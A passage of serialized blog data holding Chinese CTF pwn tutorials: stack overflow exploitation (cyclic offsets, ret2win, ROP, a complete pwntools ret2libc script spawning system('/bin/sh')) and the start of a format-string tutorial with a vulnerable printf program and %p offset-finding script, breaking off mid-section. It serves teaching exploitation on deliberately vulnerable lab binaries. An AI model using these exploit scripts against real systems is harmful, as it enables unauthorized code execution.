p.corefile.fault_addr：崩溃时 rip 的值。\n",[49,1306,1307],{"class":51,"line":150},[49,1308,1309],{},"# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\n",[49,1311,1312],{"class":51,"line":156},[49,1313,1314],{},"print(\"offset =\", offset)\n",[16,1316,282],{},[40,1318,1321],{"className":1319,"code":1320,"language":288,"meta":45},[286],"offset = 40\n",[20,1322,1320],{"__ignoreMap":45},[16,1324,1325,1326,1329,1330,1333,1334,1336],{},"原理：",[20,1327,1328],{},"cyclic(200)"," 生成无重复的模式串；程序崩溃时 ",[20,1331,1332],{},"rip"," 的值必然是模式串中的 4/8 字节，",[20,1335,744],{}," 返回它在模式串中的位置，即到返回地址的距离。",[11,1338,1340],{"id":1339},"六核心步骤-3ret2win","六、核心步骤 3：ret2win",[16,1342,1343,1345],{},[28,1344,253],{},"：把返回地址改成 win，验证控制流劫持成功。",[40,1347,1349],{"className":384,"code":1348,"language":386,"meta":45,"style":45},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\npayload = b'A' * 40 + p64(elf.symbols['win'])\n# b'A'*40：填充缓冲区与 saved rbp。\n# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\np.sendline(payload)\np.interactive()\n# interactive()：把终端接到进程，shell 可交互。\n",[20,1350,1351,1355,1359,1363,1367,1371,1375,1380,1384,1389,1394,1398,1402],{"__ignoreMap":45},[49,1352,1353],{"class":51,"line":52},[49,1354,393],{},[49,1356,1357],{"class":51,"line":69},[49,1358,112],{"emptyLinePlaceholder":111},[49,1360,1361],{"class":51,"line":108},[49,1362,484],{},[49,1364,1365],{"class":51,"line":115},[49,1366,402],{},[49,1368,1369],{"class":51,"line":121},[49,1370,112],{"emptyLinePlaceholder":111},[49,1372,1373],{"class":51,"line":127},[49,1374,647],{},[49,1376,1377],{"class":51,"line":133},[49,1378,1379],{},"# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\n",[49,1381,1382],{"class":51,"line":138},[49,1383,662],{},[49,1385,1386],{"class":51,"line":144},[49,1387,1388],{},"# b'A'*40：填充缓冲区与 saved rbp。\n",[49,1390,1391],{"class":51,"line":150},[49,1392,1393],{},"# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\n",[49,1395,1396],{"class":51,"line":156},[49,1397,588],{},[49,1399,1400],{"class":51,"line":161},[49,1401,676],{},[49,1403,1404],{"class":51,"line":166},[49,1405,1406],{},"# interactive()：把终端接到进程，shell 可交互。\n",[16,1408,1409],{},"运行：",[40,1411,1412],{"className":42,"code":806,"language":44,"meta":45,"style":45},[20,1413,1414],{"__ignoreMap":45},[49,1415,1416,1418],{"class":51,"line":52},[49,1417,813],{"class":55},[49,1419,816],{"class":59},[16,1421,689],{},[40,1423,1426],{"className":1424,"code":1425,"language":288,"meta":45},[286],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n",[20,1427,1425],{"__ignoreMap":45},[16,1429,1430,1431,1433,1434,1436,1437,1439,1440,1442,1443,1436,1445,1447],{},"执行过程：",[20,1432,22],{}," 把 48 字节写入 buf → 前 40 字节填满 buf+saved rbp → 后 8 字节覆盖返回地址为 ",[20,1435,357],{}," → ",[20,1438,367],{}," 的 ",[20,1441,971],{}," 跳到 ",[20,1444,357],{},[20,1446,705],{}," 弹 shell。",[11,1449,1451],{"id":1450},"七进阶nx-与-rop","七、进阶：NX 与 ROP",[16,1453,1454,1455,1457],{},"NX 开启后栈不可执行，但代码段可执行。ROP（Return-Oriented Programming）把程序里已有的、以 ",[20,1456,971],{}," 结尾的指令片段（gadget）串起来执行。",[16,1459,1460],{},"找 gadget：",[40,1462,1464],{"className":42,"code":1463,"language":44,"meta":45,"style":45},"ROPgadget --binary ./vuln | grep \"pop rdi\"\n",[20,1465,1466],{"__ignoreMap":45},[49,1467,1468,1471,1474,1477,1481,1484,1488,1491],{"class":51,"line":52},[49,1469,1470],{"class":55},"ROPgadget",[49,1472,1473],{"class":220}," --binary",[49,1475,1476],{"class":59}," ./vuln",[49,1478,1480],{"class":1479},"s0Tla"," |",[49,1482,1483],{"class":55}," grep",[49,1485,1487],{"class":1486},"seVfx"," \"",[49,1489,1490],{"class":59},"pop rdi",[49,1492,1493],{"class":1486},"\"\n",[16,1495,282],{},[40,1497,1500],{"className":1498,"code":1499,"language":288,"meta":45},[286],"0x0000000000401233 : pop rdi ; ret\n",[20,1501,1499],{"__ignoreMap":45},[16,1503,1504,1507,1508,1511,1512,1514],{},[20,1505,1506],{},"pop rdi; ret"," 的作用：把栈上的下一个 8 字节弹进 ",[20,1509,1510],{},"rdi","（x86-64 的第一个参数寄存器），然后 ",[20,1513,971],{}," 跳到下个地址。栈上布局：",[40,1516,1519],{"className":1517,"code":1518,"language":288,"meta":45},[286],"[pop rdi; ret] [参数] [要调用的函数] [下一 gadget] ...\n",[20,1520,1518],{"__ignoreMap":45},[11,1522,1524],{"id":1523},"八进阶ret2libc","八、进阶：ret2libc",[16,1526,1527,1529,1530,31],{},[28,1528,253],{},"：程序内没有目标函数时，改调 libc 的 ",[20,1531,705],{},[16,1533,1534,1536],{},[28,1535,259],{},"：ASLR 让 libc 基址随机，但\"符号在 libc 内的偏移\"固定。先泄露一个已知符号（puts）的真实地址，反推基址，再计算 system 与 \"/bin/sh\" 的地址。验证方式：第一段打印出的 puts 地址与 libc 文件里查到的偏移做差，得到的基址应当是 0x...000 结尾。",[16,1538,1539,1540,1542,1543,1545],{},"程序里没有 ",[20,1541,357],{}," 时，改调 libc 里的 ",[20,1544,705],{},"。libc 基址被 ASLR 随机化，解决方法是\"先泄露，再计算\"。",[463,1547,1549],{"id":1548},"_81-原理","8.1 原理",[40,1551,1554],{"className":1552,"code":1553,"language":288,"meta":45},[286],"泄露 puts 的真实地址（调用 puts(puts@got)）\nlibc 基址 = puts 真实地址 - puts 在 libc 中的偏移\nsystem 地址 = libc 基址 + system 偏移\n\"/bin/sh\" 地址 = libc 基址 + 字符串偏移\n",[20,1555,1553],{"__ignoreMap":45},[463,1557,1559],{"id":1558},"_82-完整脚本","8.2 完整脚本",[40,1561,1563],{"className":384,"code":1562,"language":386,"meta":45,"style":45},"from pwn import *\n\ncontext.log_level = 'error'\n# 只显示错误，减少调试信息刷屏。\n\nelf = ELF('./vuln')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\np = process('./vuln')\n\noffset = 40\npop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\nret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n\n# 第一阶段：泄露 puts 地址并返回 main\npayload1 = b'A' * offset\npayload1 += p64(ret)\n# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\npayload1 += p64(pop_rdi)\npayload1 += p64(elf.got['puts'])\n# got['puts']：GOT 里存放 puts 真实地址的内存位置。\npayload1 += p64(elf.plt['puts'])\n# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\npayload1 += p64(elf.symbols['main'])\n# 回到 main，让程序再读一次输入，进行第二阶段。\n\np.recvuntil(b'name?')\np.sendline(payload1)\n\nleak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n# recvline()：读一行（puts 输出后带换行）。\n# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n# u64()：8 字节小端转成整数，即 puts 的真实地址。\nprint(\"puts:\", hex(leak))\n\nlibc.address = leak - libc.symbols['puts']\n# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n# 后面的 libc.symbols['system'] 会自动加上基址。\nprint(\"libc base:\", hex(libc.address))\n\n# 第二阶段：system(\"/bin/sh\")\npayload2 = b'A' * offset\npayload2 += p64(ret)\npayload2 += p64(pop_rdi)\npayload2 += p64(next(libc.search(b'/bin/sh')))\n# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\npayload2 += p64(libc.symbols['system'])\n# 调用 system(\"/bin/sh\")。\n\np.sendlineafter(b'name?', payload2)\n# sendlineafter：先等提示再发送，保证时序正确。\np.interactive()\n",[20,1564,1565,1569,1573,1578,1583,1587,1591,1596,1601,1605,1609,1613,1618,1623,1627,1632,1637,1642,1647,1652,1658,1664,1670,1676,1682,1688,1693,1698,1704,1709,1715,1721,1727,1733,1739,1744,1750,1756,1762,1768,1774,1779,1785,1791,1797,1803,1809,1815,1821,1827,1833,1838,1844,1850],{"__ignoreMap":45},[49,1566,1567],{"class":51,"line":52},[49,1568,393],{},[49,1570,1571],{"class":51,"line":69},[49,1572,112],{"emptyLinePlaceholder":111},[49,1574,1575],{"class":51,"line":108},[49,1576,1577],{},"context.log_level = 'error'\n",[49,1579,1580],{"class":51,"line":115},[49,1581,1582],{},"# 只显示错误，减少调试信息刷屏。\n",[49,1584,1585],{"class":51,"line":121},[49,1586,112],{"emptyLinePlaceholder":111},[49,1588,1589],{"class":51,"line":127},[49,1590,484],{},[49,1592,1593],{"class":51,"line":133},[49,1594,1595],{},"libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n",[49,1597,1598],{"class":51,"line":138},[49,1599,1600],{},"# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\n",[49,1602,1603],{"class":51,"line":144},[49,1604,402],{},[49,1606,1607],{"class":51,"line":150},[49,1608,112],{"emptyLinePlaceholder":111},[49,1610,1611],{"class":51,"line":156},[49,1612,1320],{},[49,1614,1615],{"class":51,"line":161},[49,1616,1617],{},"pop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\n",[49,1619,1620],{"class":51,"line":166},[49,1621,1622],{},"ret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n",[49,1624,1625],{"class":51,"line":172},[49,1626,112],{"emptyLinePlaceholder":111},[49,1628,1629],{"class":51,"line":178},[49,1630,1631],{},"# 第一阶段：泄露 puts 地址并返回 main\n",[49,1633,1634],{"class":51,"line":184},[49,1635,1636],{},"payload1 = b'A' * offset\n",[49,1638,1639],{"class":51,"line":190},[49,1640,1641],{},"payload1 += p64(ret)\n",[49,1643,1644],{"class":51,"line":196},[49,1645,1646],{},"# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\n",[49,1648,1649],{"class":51,"line":202},[49,1650,1651],{},"payload1 += p64(pop_rdi)\n",[49,1653,1655],{"class":51,"line":1654},20,[49,1656,1657],{},"payload1 += p64(elf.got['puts'])\n",[49,1659,1661],{"class":51,"line":1660},21,[49,1662,1663],{},"# got['puts']：GOT 里存放 puts 真实地址的内存位置。\n",[49,1665,1667],{"class":51,"line":1666},22,[49,1668,1669],{},"payload1 += p64(elf.plt['puts'])\n",[49,1671,1673],{"class":51,"line":1672},23,[49,1674,1675],{},"# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\n",[49,1677,1679],{"class":51,"line":1678},24,[49,1680,1681],{},"payload1 += p64(elf.symbols['main'])\n",[49,1683,1685],{"class":51,"line":1684},25,[49,1686,1687],{},"# 回到 main，让程序再读一次输入，进行第二阶段。\n",[49,1689,1691],{"class":51,"line":1690},26,[49,1692,112],{"emptyLinePlaceholder":111},[49,1694,1696],{"class":51,"line":1695},27,[49,1697,647],{},[49,1699,1701],{"class":51,"line":1700},28,[49,1702,1703],{},"p.sendline(payload1)\n",[49,1705,1707],{"class":51,"line":1706},29,[49,1708,112],{"emptyLinePlaceholder":111},[49,1710,1712],{"class":51,"line":1711},30,[49,1713,1714],{},"leak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n",[49,1716,1718],{"class":51,"line":1717},31,[49,1719,1720],{},"# recvline()：读一行（puts 输出后带换行）。\n",[49,1722,1724],{"class":51,"line":1723},32,[49,1725,1726],{},"# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n",[49,1728,1730],{"class":51,"line":1729},33,[49,1731,1732],{},"# u64()：8 字节小端转成整数，即 puts 的真实地址。\n",[49,1734,1736],{"class":51,"line":1735},34,[49,1737,1738],{},"print(\"puts:\", hex(leak))\n",[49,1740,1742],{"class":51,"line":1741},35,[49,1743,112],{"emptyLinePlaceholder":111},[49,1745,1747],{"class":51,"line":1746},36,[49,1748,1749],{},"libc.address = leak - libc.symbols['puts']\n",[49,1751,1753],{"class":51,"line":1752},37,[49,1754,1755],{},"# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n",[49,1757,1759],{"class":51,"line":1758},38,[49,1760,1761],{},"# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n",[49,1763,1765],{"class":51,"line":1764},39,[49,1766,1767],{},"# 后面的 libc.symbols['system'] 会自动加上基址。\n",[49,1769,1771],{"class":51,"line":1770},40,[49,1772,1773],{},"print(\"libc base:\", hex(libc.address))\n",[49,1775,1777],{"class":51,"line":1776},41,[49,1778,112],{"emptyLinePlaceholder":111},[49,1780,1782],{"class":51,"line":1781},42,[49,1783,1784],{},"# 第二阶段：system(\"/bin/sh\")\n",[49,1786,1788],{"class":51,"line":1787},43,[49,1789,1790],{},"payload2 = b'A' * offset\n",[49,1792,1794],{"class":51,"line":1793},44,[49,1795,1796],{},"payload2 += p64(ret)\n",[49,1798,1800],{"class":51,"line":1799},45,[49,1801,1802],{},"payload2 += p64(pop_rdi)\n",[49,1804,1806],{"class":51,"line":1805},46,[49,1807,1808],{},"payload2 += p64(next(libc.search(b'/bin/sh')))\n",[49,1810,1812],{"class":51,"line":1811},47,[49,1813,1814],{},"# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n",[49,1816,1818],{"class":51,"line":1817},48,[49,1819,1820],{},"# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\n",[49,1822,1824],{"class":51,"line":1823},49,[49,1825,1826],{},"payload2 += p64(libc.symbols['system'])\n",[49,1828,1830],{"class":51,"line":1829},50,[49,1831,1832],{},"# 调用 system(\"/bin/sh\")。\n",[49,1834,1836],{"class":51,"line":1835},51,[49,1837,112],{"emptyLinePlaceholder":111},[49,1839,1841],{"class":51,"line":1840},52,[49,1842,1843],{},"p.sendlineafter(b'name?', payload2)\n",[49,1845,1847],{"class":51,"line":1846},53,[49,1848,1849],{},"# sendlineafter：先等提示再发送，保证时序正确。\n",[49,1851,1853],{"class":51,"line":1852},54,[49,1854,676],{},[16,1856,1857],{},"运行输出：",[40,1859,1862],{"className":1860,"code":1861,"language":288,"meta":45},[286],"puts: 0x7f8a2c3a5aa0\nlibc base: 0x7f8a2c328000\n[*] Switching to interactive mode\n$ id\n",[20,1863,1861],{"__ignoreMap":45},[463,1865,1867],{"id":1866},"_83-三个易错点","8.3 三个易错点",[1869,1870,1871,1892,1907],"ol",{},[1872,1873,1874,88,1877,1880,1881,1884,1885,1888,1889,31],"li",{},[28,1875,1876],{},"补零",[20,1878,1879],{},"puts"," 输出的地址以换行结尾，",[20,1882,1883],{},"strip()"," 去掉换行，",[20,1886,1887],{},"ljust(8, b'\\x00')"," 补到 8 字节再 ",[20,1890,1891],{},"u64",[1872,1893,1894,88,1897,1900,1901,1904,1905,31],{},[28,1895,1896],{},"对齐",[20,1898,1899],{},"system"," 内部使用 ",[20,1902,1903],{},"movaps","，要求栈 16 字节对齐，需要额外一个 ",[20,1906,971],{},[1872,1908,1909,1912,1913,1916],{},[28,1910,1911],{},"libc 版本","：远程题目若提供 libc，用 ",[20,1914,1915],{},"libc = ELF('./libc-2.27.so')","；否则在 libc.rip 输入泄露的地址查版本。",[11,1918,1920],{"id":1919},"九必学工具","九、必学工具",[295,1922,1923,1933],{},[298,1924,1925],{},[301,1926,1927,1929,1931],{},[304,1928,719],{},[304,1930,722],{},[304,1932,725],{},[314,1934,1935,1953,1965],{},[301,1936,1937,1939,1951],{},[319,1938,732],{},[319,1940,1941,531,1943,741,1945,531,1947,748,1949],{},[20,1942,737],{},[20,1944,380],{},[20,1946,744],{},[20,1948,598],{},[20,1950,751],{},[319,1952,755],{},[301,1954,1955,1957,1960],{},[319,1956,1470],{},[319,1958,1959],{},"搜索 gadget、指定寄存器、输出地址",[319,1961,1962],{},[20,1963,1964],{},"ROPgadget --binary vuln | grep \"pop rdi\"",[301,1966,1967,1970,1973],{},[319,1968,1969],{},"GDB（pwndbg）",[319,1971,1972],{},"断点、看栈、查看崩溃点",[319,1974,1975,531,1977,531,1979],{},[20,1976,781],{},[20,1978,784],{},[20,1980,1981],{},"bt",[11,1983,1985],{"id":1984},"十小-ctf-实战","十、小 CTF 实战",[16,1987,794,1988,1990,1991,1993,1994,1996],{},[20,1989,797],{}," 运行 ",[20,1992,367],{},"（No canary、No PIE，有 ",[20,1995,357],{},"）。",[40,1998,2000],{"className":384,"code":1999,"language":386,"meta":45,"style":45},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[20,2001,2002,2006,2010,2014,2018,2022,2026,2030,2034],{"__ignoreMap":45},[49,2003,2004],{"class":51,"line":52},[49,2005,393],{},[49,2007,2008],{"class":51,"line":69},[49,2009,112],{"emptyLinePlaceholder":111},[49,2011,2012],{"class":51,"line":108},[49,2013,484],{},[49,2015,2016],{"class":51,"line":115},[49,2017,538],{},[49,2019,2020],{"class":51,"line":121},[49,2021,112],{"emptyLinePlaceholder":111},[49,2023,2024],{"class":51,"line":127},[49,2025,662],{},[49,2027,2028],{"class":51,"line":133},[49,2029,588],{},[49,2031,2032],{"class":51,"line":138},[49,2033,886],{},[49,2035,2036],{"class":51,"line":144},[49,2037,676],{},[16,2039,282],{},[40,2041,2043],{"className":2042,"code":901,"language":288,"meta":45},[286],[20,2044,901],{"__ignoreMap":45},[11,2046,2048],{"id":2047},"十一小结","十一、小结",[16,2050,2051,2052,2054,2055,2057],{},"栈溢出主线：",[20,2053,760],{}," 判断防护 → ",[20,2056,380],{}," 找偏移 → 覆盖返回地址。NX 出现后用 ROP，ASLR 出现后先泄露再计算。练熟 ret2win 与 ret2libc 即可覆盖大多数入门到中级 Pwn 题。",[921,2059,2060],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":45,"searchDepth":69,"depth":69,"links":2062},[2063,2064,2065,2066,2067,2068,2069,2070,2071,2072,2073],{"id":956,"depth":108,"text":957},{"id":34,"depth":108,"text":35},{"id":80,"depth":108,"text":81},{"id":1142,"depth":108,"text":1143},{"id":361,"depth":108,"text":362},{"id":1339,"depth":108,"text":1340},{"id":1450,"depth":108,"text":1451},{"id":1523,"depth":108,"text":1524},{"id":1919,"depth":108,"text":1920},{"id":1984,"depth":108,"text":1985},{"id":2047,"depth":108,"text":2048},"栈溢出实践：编译与 checksec、cyclic 找偏移、ret2win 利用、PLT/GOT 与 ASLR 原理、ret2libc 泄露计算与完整脚本。",{"date":939,"image":2076,"alt":2077,"tags":2078,"published":111},"/blogs-img/blog8.png","栈溢出与 ROP 深入实战",[943,273,2079,944],"栈溢出","/blogs/ctf-pwn-stack-overflow-rop-deep-dive",{"title":951,"description":2074},"blogs/17. ctf-pwn-stack-overflow-rop-deep-dive","nXKz1FbP17Wgk_hN6NTnSqOWF8XUdJPumxZYT7_VJr8",{"id":2085,"title":2086,"body":2087,"description":3116,"extension":937,"meta":3117,"navigation":111,"ogImage":3118,"path":3122,"seo":3123,"stem":3124,"__hash__":3125},"content/blogs/18. ctf-pwn-format-string-deep-dive.md","格式化字符串深入实战：%p 泄露、偏移定位与 %n 任意写",{"type":8,"value":2088,"toc":3104},[2089,2093,2096,2111,2126,2143,2147,2152,2201,2222,2226,2231,2233,2242,2244,2250,2253,2259,2270,2278,2282,2287,2303,2306,2308,2316,2318,2324,2327,2333,2343,2411,2416,2448,2452,2457,2470,2479,2534,2587,2590,2599,2602,2606,2611,2626,2631,2637,2639,2652,2655,2698,2702,2713,2721,2727,2797,2830,2833,2912,2918,2947,2957,2959,3017,3021,3028,3037,3080,3082,3088,3090,3101],[11,2090,2092],{"id":2091},"一现实背景printf-的错误写法","一、现实背景：printf 的错误写法",[16,2094,2095],{},"C 程序员常写的输出代码：",[40,2097,2099],{"className":91,"code":2098,"language":93,"meta":45,"style":45},"printf(buf);      // 错误：buf 被当成格式字符串\nprintf(\"%s\", buf); // 正确：buf 只是数据\n",[20,2100,2101,2106],{"__ignoreMap":45},[49,2102,2103],{"class":51,"line":52},[49,2104,2105],{},"printf(buf);      // 错误：buf 被当成格式字符串\n",[49,2107,2108],{"class":51,"line":69},[49,2109,2110],{},"printf(\"%s\", buf); // 正确：buf 只是数据\n",[16,2112,2113,2114,2117,2118,2121,2122,2125],{},"当 ",[20,2115,2116],{},"buf"," 内容是 ",[20,2119,2120],{},"%p"," 时，",[20,2123,2124],{},"printf"," 会把它当格式说明符，去读取\"本不存在的参数\"——读到的是栈与寄存器上的值。这造成两类能力：",[2127,2128,2129,2137],"ul",{},[1872,2130,2131,741,2133,2136],{},[20,2132,2120],{},[20,2134,2135],{},"%s","：任意读（泄露内存）。",[1872,2138,2139,2142],{},[20,2140,2141],{},"%n","：任意写（写入内存）。",[11,2144,2146],{"id":2145},"二漏洞程序与编译","二、漏洞程序与编译",[16,2148,2149,88],{},[20,2150,2151],{},"fmt.c",[40,2153,2155],{"className":91,"code":2154,"language":93,"meta":45,"style":45},"#include \u003Cstdio.h>\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    return 0;\n}\n",[20,2156,2157,2161,2165,2169,2174,2178,2183,2188,2193,2197],{"__ignoreMap":45},[49,2158,2159],{"class":51,"line":52},[49,2160,100],{},[49,2162,2163],{"class":51,"line":69},[49,2164,112],{"emptyLinePlaceholder":111},[49,2166,2167],{"class":51,"line":108},[49,2168,169],{},[49,2170,2171],{"class":51,"line":115},[49,2172,2173],{},"    char buf[100];\n",[49,2175,2176],{"class":51,"line":121},[49,2177,175],{},[49,2179,2180],{"class":51,"line":127},[49,2181,2182],{},"    printf(\"> \");\n",[49,2184,2185],{"class":51,"line":133},[49,2186,2187],{},"    fgets(buf, sizeof(buf), stdin);\n",[49,2189,2190],{"class":51,"line":138},[49,2191,2192],{},"    printf(buf);          // 漏洞\n",[49,2194,2195],{"class":51,"line":144},[49,2196,199],{},[49,2198,2199],{"class":51,"line":150},[49,2200,130],{},[40,2202,2204],{"className":42,"code":2203,"language":44,"meta":45,"style":45},"gcc -o fmt fmt.c -fno-stack-protector -no-pie\n",[20,2205,2206],{"__ignoreMap":45},[49,2207,2208,2210,2212,2215,2218,2220],{"class":51,"line":52},[49,2209,217],{"class":55},[49,2211,221],{"class":220},[49,2213,2214],{"class":59}," fmt",[49,2216,2217],{"class":59}," fmt.c",[49,2219,230],{"class":220},[49,2221,233],{"class":220},[11,2223,2225],{"id":2224},"三核心步骤-1p-泄露","三、核心步骤 1：%p 泄露",[16,2227,2228,2230],{},[28,2229,253],{},"：用最便宜的测试确认漏洞，并观察\"输入本身出现在参数列表里\"这一关键事实。",[16,2232,1409],{},[40,2234,2236],{"className":42,"code":2235,"language":44,"meta":45,"style":45},"./fmt\n",[20,2237,2238],{"__ignoreMap":45},[49,2239,2240],{"class":51,"line":52},[49,2241,2235],{"class":55},[16,2243,263],{},[40,2245,2248],{"className":2246,"code":2247,"language":288,"meta":45},[286],"%p.%p.%p.%p.%p.%p\n",[20,2249,2247],{"__ignoreMap":45},[16,2251,2252],{},"实际输出（本机 arm64 实测，Linux x86-64 输出形式一致、地址值不同）：",[40,2254,2257],{"className":2255,"code":2256,"language":288,"meta":45},[286],"> 0xfffffffffffffff0.0x16d8b6c48.0x40000000.0x70252e70252e7025.0x252e70252e70252e.0x100000a70\n",[20,2258,2256],{"__ignoreMap":45},[16,2260,2261,2262,2265,2266,2269],{},"出现一堆十六进制地址，漏洞确认。注意第 4、5 个值里有 ",[20,2263,2264],{},"0x70252e70","，正是 ",[20,2267,2268],{},"%p.%p"," 的 ASCII 字节——说明我们的输入本身也在参数列表里。",[16,2271,2272,88,2275,2277],{},[28,2273,2274],{},"为什么能泄露",[20,2276,2124],{}," 按格式串逐个取参数。我们没传参数，它就继续往寄存器/栈上读\"不存在的参数\"，读到的都是内存里的真实值。",[11,2279,2281],{"id":2280},"四核心步骤-2偏移定位","四、核心步骤 2：偏移定位",[16,2283,2284,2286],{},[28,2285,253],{},"：确定\"我们的输入位于第几个参数\"，这是所有精确利用的前提。",[16,2288,2289,2291,2292,2294,2295,2298,2299,2302],{},[28,2290,259],{},"：在输入开头放 4 个 ",[20,2293,602],{},"，用 ",[20,2296,2297],{},"%N$p"," 逐个位置试探；哪个位置输出 ",[20,2300,2301],{},"0x41414141","，哪个位置就是输入起点。",[16,2304,2305],{},"要精确利用，需要知道\"我们的输入位于第几个参数\"。",[16,2307,1409],{},[40,2309,2310],{"className":42,"code":2235,"language":44,"meta":45,"style":45},[20,2311,2312],{"__ignoreMap":45},[49,2313,2314],{"class":51,"line":52},[49,2315,2235],{"class":55},[16,2317,263],{},[40,2319,2322],{"className":2320,"code":2321,"language":288,"meta":45},[286],"AAAA.%6$p\n",[20,2323,2321],{"__ignoreMap":45},[16,2325,2326],{},"预期输出（Linux x86-64 典型情况）：",[40,2328,2331],{"className":2329,"code":2330,"language":288,"meta":45},[286],"> AAAA.0x41414141\n",[20,2332,2330],{"__ignoreMap":45},[16,2334,2335,2336,2338,2339,2342],{},"出现 ",[20,2337,2301],{},"（",[20,2340,2341],{},"AAAA"," 的十六进制），说明 buf 起始位置是第 6 个参数，偏移 = 6。不同程序偏移不同（常见 6-10），确认方法就是逐个数：",[40,2344,2346],{"className":384,"code":2345,"language":386,"meta":45,"style":45},"from pwn import *\n\nfor i in range(1, 15):\n    p = process('./fmt')\n    p.recvuntil(b'> ')\n    p.sendline(f'AAAA.%{i}$p'.encode())\n    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n    # .encode()：字符串转成字节串才能 sendline。\n    out = p.recvall()\n    if b'0x41414141' in out:\n        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n        print(f'offset = {i}')\n        break\n",[20,2347,2348,2352,2356,2361,2366,2371,2376,2381,2386,2391,2396,2401,2406],{"__ignoreMap":45},[49,2349,2350],{"class":51,"line":52},[49,2351,393],{},[49,2353,2354],{"class":51,"line":69},[49,2355,112],{"emptyLinePlaceholder":111},[49,2357,2358],{"class":51,"line":108},[49,2359,2360],{},"for i in range(1, 15):\n",[49,2362,2363],{"class":51,"line":115},[49,2364,2365],{},"    p = process('./fmt')\n",[49,2367,2368],{"class":51,"line":121},[49,2369,2370],{},"    p.recvuntil(b'> ')\n",[49,2372,2373],{"class":51,"line":127},[49,2374,2375],{},"    p.sendline(f'AAAA.%{i}$p'.encode())\n",[49,2377,2378],{"class":51,"line":133},[49,2379,2380],{},"    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n",[49,2382,2383],{"class":51,"line":138},[49,2384,2385],{},"    # .encode()：字符串转成字节串才能 sendline。\n",[49,2387,2388],{"class":51,"line":144},[49,2389,2390],{},"    out = p.recvall()\n",[49,2392,2393],{"class":51,"line":150},[49,2394,2395],{},"    if b'0x41414141' in out:\n",[49,2397,2398],{"class":51,"line":156},[49,2399,2400],{},"        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n",[49,2402,2403],{"class":51,"line":161},[49,2404,2405],{},"        print(f'offset = {i}')\n",[49,2407,2408],{"class":51,"line":166},[49,2409,2410],{},"        break\n",[16,2412,282,2413,31],{},[20,2414,2415],{},"offset = 6",[16,2417,2418,2419,2422,2423,2425,2426,2428,2429,2432,2433,2436,2437,2432,2440,2443,2444,2447],{},"为什么从 6 开始：x86-64 调用约定前 6 个整数参数用寄存器（",[20,2420,2421],{},"rdi, rsi, rdx, rcx, r8, r9","），",[20,2424,2124],{}," 自己占 ",[20,2427,1510],{},"，所以 ",[20,2430,2431],{},"%1$p"," 到 ",[20,2434,2435],{},"%5$p"," 对应 ",[20,2438,2439],{},"rsi",[20,2441,2442],{},"r9","，",[20,2445,2446],{},"%6$p"," 开始读栈。",[11,2449,2451],{"id":2450},"五核心步骤-3泄露-canary-与-libc","五、核心步骤 3：泄露 canary 与 